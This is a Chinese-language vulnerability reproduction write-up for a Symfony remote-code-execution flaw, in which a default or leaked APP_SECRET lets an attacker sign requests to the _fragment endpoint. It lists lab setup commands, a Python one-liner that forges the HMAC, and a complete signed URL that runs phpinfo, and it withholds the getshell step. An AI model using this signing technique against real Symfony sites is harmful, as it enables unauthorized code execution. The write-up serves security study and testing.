不知几DAY的Symfony---RCE复现

简介: Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla! 此文演示了该框架存在的一个RCE漏洞

感谢红队大佬老流氓的供稿,此篇文章是针对Symfony框架的一个RCE漏洞复现

框架简介

Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla!、eZPlatform(以前称为 eZPublish)或Bolt。该框架在低版本时使用了默认密钥,从而造成RCE。

Symfony  的内置功能之一是类,用于处理ESI(Edge-Side Includes)。本质上,当有人向发出请求时,此侦听器会根据给定的 GET  参数设置请求属性。由于这允许运行任意 PHP 代码(稍后会详细介绍),因此必须使用 HMAC 值对请求进行签名。此 HMAC  的秘密加密密钥存储在名为的 Symfony 配置值下。

FragmentListener/_fragmentsecret


漏洞前提

版本高的时候攻击者需要拿到密钥(从文件备份等获取),低版本时为默认密钥(本地安装获即可得)。


环境安装

这里使用的是ubuntu16,安装的是Symfony 3.4.1,命令大致如下

sudo apt update

sudo apt install php-cli unzip

sudo apt-get update

sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql

sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql -y

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

apt install composer -y

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

sudo apt-get install --reinstall ca-certificates

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

sudo apt update

sudo apt install php-cli unzip

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"

php composer-setup.php --install-dir=/usr/local/bin --filename=composer

php -r "unlink('composer-setup.php');"

composer create-project symfony/framework-standard-edition my_project_name 3.4.1

cd my_project_name

composer install

sudo chmod +x bin/console


启动环境

php bin/console server:run 0.0.0.0:8000        在本机的8000端口开启监听

图片.png

图片.png

漏洞复现

密钥: APP_SECRET is ThisTokenIsNotSoSecretChangeIt        安装的时候可以看见


生成签名,执行phpinfo函数

page="http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1"

python  -c "import base64, hmac, hashlib;  print(base64.b64encode(hmac.HMAC(b'ThisTokenIsNotSoSecretChangeIt',  b'$page', hashlib.sha256).digest()))"

图片.png

拼接路径

注意如果生成的签名里面有+号等特殊符号需要进行url编码,完整url如下:

http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=1AojZEyRdQcbIw/hIIukPuOfCbj8tuYrKg0sCPJBWDE=


图片.png

Getshell部分就不发了,那个就是佬的辛勤研究成果了,请大家给老流氓点赞

复现难点

如何获取每个函数的使用方法、寻找可getshell的函数。注意编码问题,如果访问拼接的url提示403则签名有问题,可能是有符号没有编码或函数参数有问题


参考文章

https://www.ambionics.io/blog/symfony-secret-fragment

https://medium.com/@bxrowski0x/3-symfony-rce-a-peek-behind-the-curtain-83da5433e149


相关文章
|
安全 Linux 数据安全/隐私保护
AWVS多平台安装(保姆级)教程
AWVS多平台安装(保姆级)教程
3829 0
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
21730 1
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
3486 1
|
Kubernetes 安全 Cloud Native
云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问
本文介绍了云原生环境下Kubernetes集群的安全问题及攻击方法。首先概述了云环境下的新型攻击路径,如通过虚拟机攻击云管理平台、容器逃逸控制宿主机等。接着详细解释了Kubernetes集群架构,并列举了常见组件的默认端口及其安全隐患。文章通过具体案例演示了API Server 8080和6443端口未授权访问的攻击过程,以及Kubelet 10250端口未授权访问的利用方法,展示了如何通过这些漏洞实现权限提升和横向渗透。
2431 0
云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问
|
安全 NoSQL 网络协议
SSRF内网打穿相关姿势
本文详细介绍了服务器端请求伪造(SSRF)漏洞,包括其定义、漏洞场景、常见漏洞函数、URL伪协议及其利用方法。通过具体的靶机示例,展示了如何利用SSRF漏洞进行内网探测、命令执行、SQL注入、命令注入、XXE注入、Tomcat任意文件上传和Redis未授权访问等攻击。文章还提供了相关工具和参考资料,帮助读者更好地理解和应对SSRF漏洞。
2207 0
SSRF内网打穿相关姿势
|
安全 NoSQL 关系型数据库
内网扫描器Fscan
内网扫描器Fscan
|
安全 网络安全 数据安全/隐私保护
Pikachu CSRF 通关解析
Pikachu 靶场 CSRF 通关解析
文件上传--Upload-labs--Pass16--图片二次渲染
文件上传--Upload-labs--Pass16--图片二次渲染
|
安全 PHP Windows
文件上传--Upload-labs--Pass06--空格绕过
文件上传--Upload-labs--Pass06--空格绕过

热门文章

最新文章